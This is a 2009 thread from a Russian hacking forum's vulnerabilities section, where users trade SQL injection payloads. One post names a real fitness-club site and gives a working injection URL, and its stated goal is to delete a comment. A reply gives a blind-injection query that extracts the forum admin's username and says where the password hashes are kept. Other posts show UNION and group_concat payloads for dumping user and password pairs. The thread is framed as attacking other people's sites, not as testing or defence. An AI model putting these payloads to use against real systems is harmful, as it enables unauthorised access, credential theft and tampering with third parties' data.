HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 06.02.2009, 19:03
$p01nt
Участник форума
Регистрация: 19.02.2008
Сообщений: 186
С нами: 9591697

Репутация: 96
По умолчанию

Сформировал запрос под свой url:
+or+1=(select Email from EmailTable where Email not in (select top 2 Email from EmailTable))--
выдает:
Microsoft OLE DB Provider for SQL Server error '80004005'

Subquery returned more than 1 value. This is not permitted when the subquery follows =, !=, <, <= , >, >= or when the subquery is used as an expression.

/xxx/xxx.asp, line 156
 
Ответить с цитированием

  #2  
Старый 06.02.2009, 20:10
InFlame
Участник форума
Регистрация: 27.10.2008
Сообщений: 215
С нами: 9230381

Репутация: 90
По умолчанию

Возможно ли в php-инъекции как-нибудь вывести содержимое директории, а не файла?
 
Ответить с цитированием

Загадочный SQL inj
  #3  
Старый 06.02.2009, 20:20
new_daemon
Новичок
Регистрация: 06.02.2009
Сообщений: 2
С нами: 9083950

Репутация: 0
Angry Загадочный SQL inj

Вот такой SQL inj
http://www.moscowfitness.ru/find.php?cname=bebebe'

Долго не мог подобрать не одной таблицы, а потом попробовал вот так
http://www.moscowfitness.ru/find.php?cname=bebebe' UNION select 1 FROM CLUBS/*

и удивился.

Вышло следующее
Код:
select count(a.CL_ID) as total from CLUBS a where a.CL_DAY_EXPIRES >= now() and lower(a.CL_NAME) like 'bebebe' union select 1 from clubs/*%' group by a.CL_ID
MYSQL заявил, что "Table 'db10002m.clubs' doesn't exist"

Как такое может быть? Для первой части запроса таблица CLUBS есть, а для второй уже нет.
Или это так приведение к нижнему регистру влияет?

p.s. Глобальная задача найти таблицу с комментариями и удалить один из комментариев.
 
Ответить с цитированием

  #4  
Старый 06.02.2009, 21:55
ElteRUS
Постоянный
Регистрация: 11.10.2007
Сообщений: 406
С нами: 9780227

Репутация: 1423
По умолчанию

Цитата:
Сообщение от new_daemon  
Как такое может быть?
Должно быть таблица clubs находится в другой бд.

http://www.moscowfitness.ru/find.php?cname=bebebe'+or+1=if(ascii(substring((se lect+username+from+phpbb_users+limit+0,1),1,1))>=6 5,1,0)/*

Если я не намудрил с запросом, то первый символ логина админа форума - 'A'. Дальше сам )

//наверно дальше будет 'dmin' ^^

Хеши лежат в колумне user_password
 
Ответить с цитированием

  #5  
Старый 06.02.2009, 23:07
new_daemon
Новичок
Регистрация: 06.02.2009
Сообщений: 2
С нами: 9083950

Репутация: 0
Unhappy

Цитата:
Сообщение от ElteRUS  
Должно быть таблица clubs находится в другой бд.

Меня по этому поводу тоже мысль посетила, но в SQL запрос вывелся весь на экран и в нем нет явного задания БД для первой таблицы CLUBS

select count(a.CL_ID) as total from CLUBS a where a.CL_DAY_EXPIRES >= now() and lower(a.CL_NAME) like 'bebebe' union select 1 from clubs/*%' group by a.CL_ID

Если бы даже перед этим запросом выполнялся USE имя_бд то его действие распространялось и на вторую часть запроса.

А доступ нужно получить не к форму а комментариям о фитнес-клубах. Т.е к основным таблицам сайта. А при "отсутствии" даже самой CLUBS подбирать название таблицы с комментами дело бесперспективное.
 
Ответить с цитированием

  #6  
Старый 06.02.2009, 22:33
z00MAN
Постоянный
Регистрация: 20.11.2008
Сообщений: 406
С нами: 9196401

Репутация: 930
По умолчанию

такой вопрос,
есть скуля http://www.site.com/index.php?id=-1+union+select+concat(user,password)+from+user+lim it+0,1--
выводит admin,pass
потом меняя limit выводим след записи..
можно ли как нибудь (не используя софта) сразу вывести все записи в браузер одним запросом

п.с http://www.site.com/index.php?id=-1+union+select+concat(user,password)+from+user--
выводит только первую
п.п.с записей много
 
Ответить с цитированием

  #7  
Старый 06.02.2009, 22:37
pinky07
Познающий
Регистрация: 02.01.2009
Сообщений: 55
С нами: 9133681

Репутация: 90
По умолчанию

z00MAN можешь попробывать group_concat(user,password)
 
Ответить с цитированием

  #8  
Старый 06.02.2009, 22:36
R1dex
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
С нами: 9288132

Репутация: 571
По умолчанию

Если выводит по одной записи - нет.

Можно, конечно, использовать group_concat(), но будет вывод только 1024 символов (по умолчанию)
 
Ответить с цитированием

  #9  
Старый 06.02.2009, 23:18
ElteRUS
Постоянный
Регистрация: 11.10.2007
Сообщений: 406
С нами: 9780227

Репутация: 1423
По умолчанию

new_daemon, там 4 ветка, information_schema отсутствует, так что только угадыванием )
 
Ответить с цитированием

  #10  
Старый 06.02.2009, 23:53
Zergius
Новичок
Регистрация: 04.12.2007
Сообщений: 6
С нами: 9702655

Репутация: 1
По умолчанию

Всем доброго времени суток. Хотелось бы знать одну вещь:
является ли www.site.ru/?n=1" уязвимым, если выдается ошибка
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '2009-02-06 22:49:35", "***.***.***.***", 1) ON DUPLICATE KEY UPDATE page="/?n=1"", ' at line 1
и если да, то как подобрать кол-во таблиц. По этой ссылке http://forum.antichat.ru/thread43966.html говорится, что должна быть ошибка
«The used SELECT statements have a different number of columns»,
но у меня выходит почти та же ошибка (за исключением server version for the right syntax to use near 'UNION%20SELECT%201,%202%20--","2009-02-06 ) ON DUPLI' at line 1)
Может кто нить обьяснит дилетанту, что сие означает? ^_^
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.